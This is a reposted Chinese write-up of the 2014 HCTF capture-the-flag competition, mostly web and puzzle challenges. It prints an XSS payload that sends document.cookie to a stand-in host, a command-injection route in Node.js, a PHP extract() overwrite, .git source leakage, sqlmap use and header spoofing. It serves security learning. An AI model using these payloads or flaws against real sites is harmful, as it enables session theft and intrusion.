HCTF writeup(web)

转载

weixin_34261739 于 2018-03-08 10:53:53 发布 266 收藏
文章标签： php git javascript ViewUI
原文链接：https://juejin.im/post/5aa11641518825556a71f971

> 蓝冰 · 2014/11/29 16:47

丘比龙的最爱 10pt

传说，丘比龙是丘比特的弟弟，丘比龙是一只小爱神，虽然有两只翅膀，但因为吃多了，导致身体太胖，所以飞不起来~那么问题来了?!丘比龙吃什么食物吃多了变胖了

很明显了,百度一下答案是甜甜圈

nvshen 100pt

猫流大大发现一个女神，你能告诉我女神的名字么（名字即是flag） 下载zip后是一个疑似base64的密文,用base64解密后发现png图片头 后缀改为png

图片放到百度识图 得到名字

```
flag:爱新觉罗启星
复制代码
```

GIFT 100pt

打开网站 在注释处发现一个文件 index.php.bak 内容为

```
<?php
$flag=‘xxx';
extract($_GET);
if(isset($gift))
{
$content=trim(file_get_contents($flag));
if($gift==$content)
{
echo’hctf{...}';
}
else
{
echo’Oh..';
}
}
?>
复制代码
```

构造如下URL:

```
http://121.40.86.166:39099/index.php?gift=&flag=
复制代码
```

覆盖掉flag变量

```
flag: hctf{Awe3ome_Ex7ract!!!}
复制代码
```

Entry 200pt

57R9S980RNOS49973S757PQO9S80Q36P 听说丘比龙一口气能吃”13”个甜甜圈呢!

刚开始各种进制转换,后来注意道13这个数字,刚好密文处是13个字母,于是把字母转成 ASCII然后加13后转字符,然后插到原来的位置,最后cmd5解密

```
flag: Qoobee
复制代码
```

FIND 200pt

把图片下载下来用Stegsolve神器在随机图层发现二维码,把二维码修复一下 白色的改成黑色的 黑色的改成白色的 然后扫一下就出来flag了

flag{hctf_3xF$235#\x5e3}

IRC 300pt

进入官方IRC频道,挨个找人whois

命令 /whois xxx(昵称) 其中有几个人反弹了flag 提交几个后终于正确了

opensource 300pt

开源？闭源？

在robots.txt文件下发现 .git隐藏目录 根据git说明 得到分支文件

```
refs/heads/master
复制代码
```

下载后得到 hash值 e52b59bc730f13d999b1f2452ca3f689850ca0a3

然后进入e5/目录访问2b59bc730f13d999b1f2452ca3f689850ca0a3 文件 hash前二位目录 后32位文件名 详情可以去百度看一下 git的目录结构 依此类推 配合 (git cat-file -p 接40位hash)命令 读取项目文件 是当前网站的源代码 node.js

部分代码:

```
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');

app.use(favicon());
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded());
app.use(cookieParser());

app.use('/', routes);
app.use('/ac6555bfe23f5fe7e98fdcc0cd5f2451', pangci);
_______________________________-

var express = require('express');
var router = express.Router();
var fs = require('fs');
var path = require('path');
var cp = require('child_process');

router.get('/', function(req, res) {
  var data = path.normalize('/tmp/flag');

  if (req.param('pangci')) {
    cp.exec(secure(req.param('pangci')) + ' ' + data, function (err, stdout, stderr) {
      if (err) { res.end('Ohhhhh MY SWEET!!!YOOOOOO HURT ME!!') }
      var limit = stdout.split('\n').slice(0, 5).join('\n');
      res.end(limit);
    });
  } else {
    res.end('HEY MY SWEET!!! I LOVE YOOOOOOOO!!!');
  }

});

function secure (str) {
  return str.replace(/[^\d\-a-zA-Z ]/g, '');
}
复制代码
```

访问

```
/ac6555bfe23f5fe7e98fdcc0cd5f2451?pangci=wc
复制代码
```

返回

```
142   735 11507 /tmp/flag
复制代码
```

表示有142行

利用tail -n num 命令 一次读取5行

最后进行拼接得到 flag

FUCKME 350pt

打开网页各种语种,想到用词频分析进行解密,利用软件统计频率前26个字 用记事本或者脚本替换成26个英文字母 然后用下面这个网站进行解密

http://www.quipqiup.com/index.php

```
flag:hctf{enjoyyourselfinhctf}
复制代码
```

jianshu 400pt

这题有点坑,首先比较轻松的xss到了cookie,

```
<svg><scscriptript>window.locatioonn=“http://xxx.com/cookie.php?cookie=“%26%2343%3Bescape(document.cookie);
复制代码
```

然后cookie里确实有flag flag=NOT IN COOKIE尝试提交这个不对 然后在cookie.php进行修改 获取客户端的http头信息

```
Referer: http://121.41.37.11:25045/get.php?user=V1ew
X-Forwarded-For: 218.75.123.186
复制代码
```

伪造http头访问改url 还是没有发现cookie 然后据说不是xss 是sql注入 然后各种参数,各种注

然后最后的注入的点为;

```
http://121.41.37.11:25045/img.php?file=1*.jpg
复制代码
```

之前尝试了整个file参数发现注不了,其实是要注.jpg前面的值

```
sqlmap –level 6 –dbs
复制代码
```

跑出数据库

访问

```
http://121.41.37.11:25045/get.php?user=A1rB4s1C
复制代码
```

提示IP不对 用之前X到的IP进行伪造 最后返回flag

```
flag: hctf{Why_are_U_S0_DIA0?????}
复制代码
```